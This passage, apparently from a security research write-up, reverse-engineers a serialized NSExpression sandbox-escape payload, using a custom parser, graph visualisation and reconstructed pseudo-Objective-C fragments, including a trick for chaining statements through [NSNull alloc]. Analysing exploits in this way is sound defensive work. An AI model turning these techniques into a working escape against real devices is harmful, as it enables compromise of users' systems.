<p class="YrefKOOkxY-c2"><span>It shouldn't be a surprise to see </span><span class="YrefKOOkxY-c3">WKSecureCodingURLWrapper</span><span class="YrefKOOkxY-c5"> here; we saw it right at the end of the first section.</span></p><h3 class="YrefKOOkxY-c6" id="h.24j1kv497pj1"><span class="YrefKOOkxY-c10">Finding the beginning</span></h3>
<p class="YrefKOOkxY-c2"><span>Since we have a custom parser we can start dumping out subsections of the object graph looking for the </span><span class="YrefKOOkxY-c3">NSExpression</span><span>s. In the end we can follow these properties to find an array of </span><span class="YrefKOOkxY-c3">PTSection</span><span> objects, each of which contains multiple </span><span class="YrefKOOkxY-c3">PTRow</span><span> objects, each with an associated condition in the form of an </span><span class="YrefKOOkxY-c3">NSComparisonPredicate</span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">sections = follow(root_obj, ['NS.relative', 'NS.relative', 'NS.configDict', 'NS.skkeyset', 'components', 'NS.objects'])</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Each of those </span><span class="YrefKOOkxY-c3">PTRow</span><span>s contains a single predicate to evaluate - in the end the relevant parts of the payload are contained entirely in four </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5">s.</span></p><h3 class="YrefKOOkxY-c6" id="h.wtf8atsj3nr"><span class="YrefKOOkxY-c10">Types</span></h3>
<p class="YrefKOOkxY-c2"><span>There are only a handful of primitive </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5"> family objects from which the graph is built:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13">NSComparisonPredicate</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSLeftExpression</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSRightExpression</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSPredicateOperator</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Evaluate the left and right side then return the result of comparing them with the given operator.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13">NSFunctionExpression</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSSelectorName</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSArguments</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSOperand</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Send the provided selector to the operand object passing the provided arguments, returning the return value</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13">NSConstantValueExpression</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSConstantValueClassName</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSConstantValue</span></p>
<p class="YrefKOOkxY-c2"><span>A constant value or </span><span class="YrefKOOkxY-c3">Class</span><span class="YrefKOOkxY-c5"> object</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13">NSVariableAssignmentExpression</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSAssignmentVariable</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSSubexpression</span></p>
<p class="YrefKOOkxY-c2"><span>Evaluate the </span><span class="YrefKOOkxY-c3">NSSubexpression</span><span class="YrefKOOkxY-c5"> and assign its value to the named variable</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13">NSVariableExpression</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSVariable</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Return the value of the named variable</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13">NSCustomPredicateOperator</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSSelectorName</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The name of a selector in invoke as a comparison operator</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13">NSTernaryExpression</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSPredicate</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSTrueExpression</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSFalseExpression</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Evaluate the predicate then evaluate either the true or false branch depending on the value of the predicate.</span></p><h3 class="YrefKOOkxY-c6" id="h.55jridy7gehd"><span class="YrefKOOkxY-c10">E2BIG</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The problem is that the object graph is simply enormous with very deep nesting. Attempts to perform simple transforms of the graph to a text representation quickly became incomprehensible with over 40 layers of nesting.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">It's very unlikely that whoever crafted this serialized object actually wrote the entire payload as a single expression. Much more likely is that they used some tricks and tooling to turn a sequential series of operations into a single statement. But to figure those out we still need a better way to see what's going on.</span></p><h3 class="YrefKOOkxY-c6" id="h.uul3arwc6ntd"><span class="YrefKOOkxY-c10">Going DOTty</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This object is a graph - so rather than trying to immediately transform it to text why not try to visualize it as a graph instead?</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://graphviz.org/doc/info/lang.html">DOT</a></span><span> is the graph description language used by </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://graphviz.org/">graphviz</a></span><span class="YrefKOOkxY-c5"> - an open-source graph drawing package. It's pretty simple:</span></p><a id="t.98e62c9402633bcd7ccdf9aee059954278cc1ff7"></a><a id="t.0"></a><table class="YrefKOOkxY-c25"><tr class="YrefKOOkxY-c19"><td class="YrefKOOkxY-c20" colspan="1" rowspan="1">
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">digraph {</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0"> A -> B</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0"> B -> C</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0"> C -> A</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c11 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c11 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p></td><td class="YrefKOOkxY-c27" colspan="1" rowspan="1">
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW_b7V-TsK6Oqr5OSPWT5-hZ5f_8pCrQjOEMVEjnZ1kD1RcrOuxZIcOzSXm-62KfzFotuExCGr2JmFyILYa9cW3OnG4HRBHr0CCC2y4jRcEEr6a_jDns_Bil4DDQpsZThUDilWcajsjKbh_eppltiSH0tnz-8ms907uDCsI7jAliAF6p2aehlhQPGmEEc/s1600/image11.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW_b7V-TsK6Oqr5OSPWT5-hZ5f_8pCrQjOEMVEjnZ1kD1RcrOuxZIcOzSXm-62KfzFotuExCGr2JmFyILYa9cW3OnG4HRBHr0CCC2y4jRcEEr6a_jDns_Bil4DDQpsZThUDilWcajsjKbh_eppltiSH0tnz-8ms907uDCsI7jAliAF6p2aehlhQPGmEEc/s1200/image11.png" border="0" alt="Diagram showing a three-node DOT graph with a cycle from A to B to C to A." style="max-height: 750px; max-width: 600px;"title="Diagram showing a three-node DOT graph with a cycle from A to B to C to A." /></a></span></p></td></tr></table>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">You can also define nodes and edges separately and apply properties to them:</span></p><a id="t.75643bc378451851025ce6c56dec21329e24e67e"></a><a id="t.1"></a><table class="YrefKOOkxY-c25"><tr class="YrefKOOkxY-c19"><td class="YrefKOOkxY-c17" colspan="1" rowspan="1">
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">digraph {</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">A [shape=square]</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">B [label="foo"]</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0"> A -> B</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0"> B -> C</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0"> C -> A [style=dotted]</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">}</span></p></td><td class="YrefKOOkxY-c22" colspan="1" rowspan="1">
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkJnjUKZ5OTep-zxMFYt4YG83L42A-SHhXtVqHQIAxuRhZ2VGCw6cRCHPerUUyTumT1ku6GvCXWIBv_2Zvq8qx_WdHCUsm2TC4bPQ2PIlNcHqJc8C4a-g5iQ7MER2l7N7qjlFdVeYxP_6ul4T3K-4HuChHKuCGsnD-rKQMTyJNUwsC04v9-2x2_O7slFU/s1600/image6.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkJnjUKZ5OTep-zxMFYt4YG83L42A-SHhXtVqHQIAxuRhZ2VGCw6cRCHPerUUyTumT1ku6GvCXWIBv_2Zvq8qx_WdHCUsm2TC4bPQ2PIlNcHqJc8C4a-g5iQ7MER2l7N7qjlFdVeYxP_6ul4T3K-4HuChHKuCGsnD-rKQMTyJNUwsC04v9-2x2_O7slFU/s1200/image6.png" border="0" alt="A simple 3 node diagram showing different DOT node and edge styles" style="max-height: 750px; max-width: 600px;"title="A simple 3 node diagram showing different DOT node and edge styles" /></a></span></p></td></tr></table>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">With the custom parser it's relatively easy to emit a dot representation of the entire NSExpression graph. But when it comes time to actually render it, progress is rather slow...</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">After leaving it overnight without success it seemed that perhaps a different approach again is required. Graphviz is certainly capable of rendering a graph with tens of thousands of nodes; the part which is likely failing is graphviz's attempts to layout the nodes in a clean way.</span></p><h3 class="YrefKOOkxY-c6" id="h.muy3wfhdrcu"><span class="YrefKOOkxY-c10">Medium data</span></h3>
<p class="YrefKOOkxY-c2"><span>Maybe some of the tools explicitly designed for interactively exploring significant datasets could help here. I chose to use </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://gephi.org/">Gephi</a></span><span class="YrefKOOkxY-c5">, an open-source graph visualization platform.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>I loaded the </span><span class="YrefKOOkxY-c3">.dot</span><span class="YrefKOOkxY-c5"> file into Gephi and waited for the magic:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5qT7qy0QbyqqVploNg4LelSnmX9dKZN52iWGEv1Qz4nuDOYnir2beUFJmT4rilB_LsctjwiFQu595S9UYlGPbk3YCMYJEPomUyHJdbicSBg3w8kw_iF6r8-GMpCBxvbmE3uZPbnWMUoQKLniJzpaj31PWV9S5FZWhtVntdjuh68fLW90Fs2lEgs_4gVM/s1600/image16.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5qT7qy0QbyqqVploNg4LelSnmX9dKZN52iWGEv1Qz4nuDOYnir2beUFJmT4rilB_LsctjwiFQu595S9UYlGPbk3YCMYJEPomUyHJdbicSBg3w8kw_iF6r8-GMpCBxvbmE3uZPbnWMUoQKLniJzpaj31PWV9S5FZWhtVntdjuh68fLW90Fs2lEgs_4gVM/s1200/image16.png" border="0" alt="A screenshot of Gephi showing a graph with thousands of overlapping nodes rendered into an almost solid square of indistinguishable circles and arrows" style="max-height: 750px; max-width: 600px;"title="A screenshot of Gephi showing a graph with thousands of overlapping nodes rendered into an almost solid square of indistinguishable circles and arrows" /></a></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This might take some more work.</span></p><h3 class="YrefKOOkxY-c6" id="h.llewtu5hr3t5"><span class="YrefKOOkxY-c10">Directing forces</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The default layout seems to just position all the nodes equally in a square - not particularly useful. But using the layout menu on the left we can choose layouts which might give us some insight. Here's a force-directed layout, which emphasizes highly-connected nodes:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha6DeZ1nYghaKEsUPjE1hwvAgrcxVdsLq9M9if7k45GVZGHNiVNn2LmJYzbebEaIEn3rTMKG8kXizodrwT3AU6OxwdTPnX0T56Q2NKZCtxdVJYSK7fWmF_W6dUySsZZ45hEA8pGG0bJGtvzOW1I9DpYx2Aa9mAGq0aG7NuMLXTbdtBDOZ8_MoZgvXN2Yw/s1600/image9.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha6DeZ1nYghaKEsUPjE1hwvAgrcxVdsLq9M9if7k45GVZGHNiVNn2LmJYzbebEaIEn3rTMKG8kXizodrwT3AU6OxwdTPnX0T56Q2NKZCtxdVJYSK7fWmF_W6dUySsZZ45hEA8pGG0bJGtvzOW1I9DpYx2Aa9mAGq0aG7NuMLXTbdtBDOZ8_MoZgvXN2Yw/s1200/image9.png" border="0" alt="Screenshot of Gephi showing a large complex graph where the nodes are distinguishable and there is some clustering" style="max-height: 750px; max-width: 600px;"title="Screenshot of Gephi showing a large complex graph where the nodes are distinguishable and there is some clustering" /></a></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Much better! I then started to investigate which nodes have large in or out degrees and figure out why. For example here we can see that a node with the label func:alloc has a huge in-degree.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyyOoxrXmQdMZz-qFcUgmo76hHEwghN4Z5kzB_V3gf-tXsC2S8ZYFqLd1VcDuo5rM1h1eQ_f0jdzepAGKta-fc-vqmOFK1Y_E9lFQHjyvxrscPI9zZyJG5VWXBlOQ-fKpcUITbXZGH99Fas8g77dasgQmSgxtEswJEF2_IwZB5JNsO-mZywfbDsAzTOYs/s1600/image8.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyyOoxrXmQdMZz-qFcUgmo76hHEwghN4Z5kzB_V3gf-tXsC2S8ZYFqLd1VcDuo5rM1h1eQ_f0jdzepAGKta-fc-vqmOFK1Y_E9lFQHjyvxrscPI9zZyJG5VWXBlOQ-fKpcUITbXZGH99Fas8g77dasgQmSgxtEswJEF2_IwZB5JNsO-mZywfbDsAzTOYs/s1200/image8.png" border="0" alt="Screenshot of Gephi showing the func:alloc node with a very large number of incoming graph edges" style="max-height: 750px; max-width: 600px;"title="Screenshot of Gephi showing the func:alloc node with a very large number of incoming graph edges" /></a></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Trying to layout the graph with nodes which such high indegrees just leads to a mess (and was potentially what was slowing the graphviz tools down so much) so I started adding hacks to the custom parser to duplicate certain nodes while maintaining the semantics of the expression in order to minimize the number of crossing edges in the graph.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">During this iterative process I ended up creating the graph shown at the start of this writeup, when only a handful of high in-degree nodes remained and the rest separated cleanly into clusters:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrzpTZ2_H16_OJgFkwuJNmL120zmxWCcdrLlPXp-6x5SsweX8PosbAcKI9Sf8Ad0bYlMfDGwJ0Rz5GdwwEVnek-taAR1voRObiCwl7StIIx2gIHw7zH16AOi-TJRNiyDYKXprNRQNmt6vosLtafQdbjrRgTJB7HLUt_qc1sfCG_sAWZk_wfsfaei3c2-4/s1600/image7.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrzpTZ2_H16_OJgFkwuJNmL120zmxWCcdrLlPXp-6x5SsweX8PosbAcKI9Sf8Ad0bYlMfDGwJ0Rz5GdwwEVnek-taAR1voRObiCwl7StIIx2gIHw7zH16AOi-TJRNiyDYKXprNRQNmt6vosLtafQdbjrRgTJB7HLUt_qc1sfCG_sAWZk_wfsfaei3c2-4/s1200/image7.png" border="0" alt="A graph rendering of the sandbox escape NSExpression payload node graph, with an eerie similarity to a human eye" style="max-height: 750px; max-width: 600px;"title="A graph rendering of the sandbox escape NSExpression payload node graph, with an eerie similarity to a human eye" /></a></span></p><h3 class="YrefKOOkxY-c6" id="h.k0664pz5mug4"><span class="YrefKOOkxY-c10">Flattening</span></h3>
<p class="YrefKOOkxY-c2"><span>Although this created a large number of extra nodes in the graph it turns out that this has made things much easier for graphviz to layout. It still can't do the whole graph, but we can now split it into chunks which successfully render to very large SVGs. The advantage of switching back to graphviz is that we can render arbitrary information with custom node and edge labels. For example using custom shape primitives to make the arrays of </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span class="YrefKOOkxY-c5"> arguments stand out more clearly:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxSkoNTMqfudlBmWGUwZwiohNCIu8xpvOdBmB-hIRXLf7vSddvP0Ay6M8AfPZQNME_UzZHDSbE5Dofvlaap7gy3DdBTseXL7Dml-YW2wv9wBa3vjJ6Jt4_DtUNcTxV0AlG4QZBfgx4_1I6sDEa00vO-qPh-yPR8w1DRjnaGJEMMn4YeAvvGy6ul6fFXNE/s1566/image5.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxSkoNTMqfudlBmWGUwZwiohNCIu8xpvOdBmB-hIRXLf7vSddvP0Ay6M8AfPZQNME_UzZHDSbE5Dofvlaap7gy3DdBTseXL7Dml-YW2wv9wBa3vjJ6Jt4_DtUNcTxV0AlG4QZBfgx4_1I6sDEa00vO-qPh-yPR8w1DRjnaGJEMMn4YeAvvGy6ul6fFXNE/s1200/image5.png" border="0" alt="Diagram showing an NSExpression subgraph performing a bitwise operation and using variables" style="max-height: 750px; max-width: 600px;"title="Diagram showing an NSExpression subgraph performing a bitwise operation and using variables" /></a></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Here we can see nested related function calls, where the intention is clearly to pass the return value from one call as the argument to another. Starting in the bottom right of the graph shown above we can work backwards (towards the top left) to reconstruct pseudo-objective-c:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[writeInvocationName</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> getArgument:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [ [_NSPredicateUtils</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bitwiseOr: [NSNumber numberWithUnsignedLongLong:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [intermediateAddress: bytes]]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> with: @0x8000000000000000]] longLongValue ]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> atIndex: [@0x1 longLongValue] ]</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">We can also now clearly see the trick they use to execute multiple unrelated statements:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipo1_BJVDoZY-HkSmQBs2EehlcTnWvTalheSR74itlEnLnW3OzGzx4Gk3AoFjVM1moihApNadCoaQzJXXCzAmvuXWCEMIAN210z1eu5wh50lHGBszL_UWIHchQ9mj7gXyDFVr9Y4Fk0TYtdv2YoT-cFqWK-BjL7S2lMzN4bVxi6KsFXX1PB3tw0BSfMS0/s1276/image10.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipo1_BJVDoZY-HkSmQBs2EehlcTnWvTalheSR74itlEnLnW3OzGzx4Gk3AoFjVM1moihApNadCoaQzJXXCzAmvuXWCEMIAN210z1eu5wh50lHGBszL_UWIHchQ9mj7gXyDFVr9Y4Fk0TYtdv2YoT-cFqWK-BjL7S2lMzN4bVxi6KsFXX1PB3tw0BSfMS0/s1200/image10.png" border="0" alt="Diagram showing a graph of NSNull alloc nodes tying unrelated statements together" style="max-height: 750px; max-width: 600px;"title="Diagram showing a graph of NSNull alloc nodes tying unrelated statements together" /></a></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Multiple unrelated expressions are evaluated sequentially by passing them as arguments to an </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span> calling </span><span class="YrefKOOkxY-c3">[NSNull alloc]</span><span>. This is a method which takes no arguments and has no side-effects (the </span><span class="YrefKOOkxY-c3">NSNull</span><span> is a singleton and </span><span class="YrefKOOkxY-c3">alloc</span><span> returns a global pointer) but </span><span>the</span><span> </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span class="YrefKOOkxY-c5"> evaluation will still evaluate all the provided arguments then discard them.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They build a huge tree of these </span><span class="YrefKOOkxY-c3">[NSNull alloc]</span><span class="YrefKOOkxY-c5"> nodes which allows them to sequentially execute unrelated expressions.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhy38GVNF5THf65qjWhTjOlzJixu9MiOpzLQ7I8vkZx93U2__h8ympN_kXbtAGx8Rm8438yTPzDjZjBNlTNLAoCThHD6FF7pbE3f5xDpMNOEjAsZQlLOey6chJ2oJn1rmsDD7IJjpInA9p-SlB_Y5P-qlN6Emh8DA2NkdPbxKWWn8TU4ceqOa7LLV95wyg/s1600/image2.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhy38GVNF5THf65qjWhTjOlzJixu9MiOpzLQ7I8vkZx93U2__h8ympN_kXbtAGx8Rm8438yTPzDjZjBNlTNLAoCThHD6FF7pbE3f5xDpMNOEjAsZQlLOey6chJ2oJn1rmsDD7IJjpInA9p-SlB_Y5P-qlN6Emh8DA2NkdPbxKWWn8TU4ceqOa7LLV95wyg/s1200/image2.png" border="0" alt="Diagram showing nodes and edges in a tree of NSNull alloc NSFunctionExpressions" style="max-height: 750px; max-width: 600px;"title="Diagram showing nodes and edges in a tree of NSNull alloc NSFunctionExpressions" /></a></span></p><h3 class="YrefKOOkxY-c6" id="h.w7j3gk2z0ns6"><span class="YrefKOOkxY-c10">Connecting the dots</span></h3>
<p class="YrefKOOkxY-c2"><span>Since the return values of the evaluated arguments are discarded they use </span><span class="YrefKOOkxY-c3">NSVariableExpressions</span><span> to connect the statements semantically. These are a wrapper around an </span><span class="YrefKOOkxY-c3">NSDictionary</span><span> object which can be used to store named values. Using the custom parser we can see there are 218 different named variables. Interestingly, whilst Mach-O is stripped and all symbols were removed, that's not the case for the </span><span class="YrefKOOkxY-c3">NSVariable</span><span class="YrefKOOkxY-c5">s - we can see their full (presumably original) names.</span></p><h3 class="YrefKOOkxY-c6" id="h.wc41jgvmqudh"><span class="YrefKOOkxY-c10">bplist_to_objc</span></h3>
<p class="YrefKOOkxY-c2"><span>Having figured out the </span><span class="YrefKOOkxY-c3">NSNull</span><span> trick they use for sequential expression evaluation it's now possible to flatten the graph to pseudo-objective-c code, splitting each argument to an </span><span class="YrefKOOkxY-c3">[NSNull alloc]</span><span> </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span class="YrefKOOkxY-c5"> into separate statements:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">id v_detachNewThreadWithBlock:_NSFunctionExpression = [NSNumber numberWithUnsignedLongLong:[[[NSFunctionExpression alloc] initWithTarget:@"target" selectorName:@"detachNewThreadWithBlock:" arguments:@[] ] selector] ];</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This is getting closer to a decompiler-type output. It's still a bit jumbled, but significantly more readable than the graph and can be refactored in a code editor.</span></p><h3 class="YrefKOOkxY-c6" id="h.dizg9rmb493d"><span class="YrefKOOkxY-c10">Helping out</span></h3>
<p class="YrefKOOkxY-c2"><span>The expressions make use of </span><span class="YrefKOOkxY-c3">NSPredicateUtilities</span><span class="YrefKOOkxY-c5"> for arithmetic and bitwise operations. Since we don't have to support arbitrary input, we can just hardcode the selectors which implement those operations and emit a more readable helper function call instead:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if selector_str == 'bitwiseOr:with:':</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> arg_vals = follow(o, ['NSArguments', 'NS.objects'])</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> s += 'set_msb(%s)' % parse_expression(arg_vals[0], depth+1)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> elif selector_str == 'add:to:':</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> arg_vals = follow(o, ['NSArguments', 'NS.objects'])</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> s += 'add(%s, %s)' % (parse_expression(arg_vals[0], depth+1), parse_expression(arg_vals[1], depth+1))</span></p>
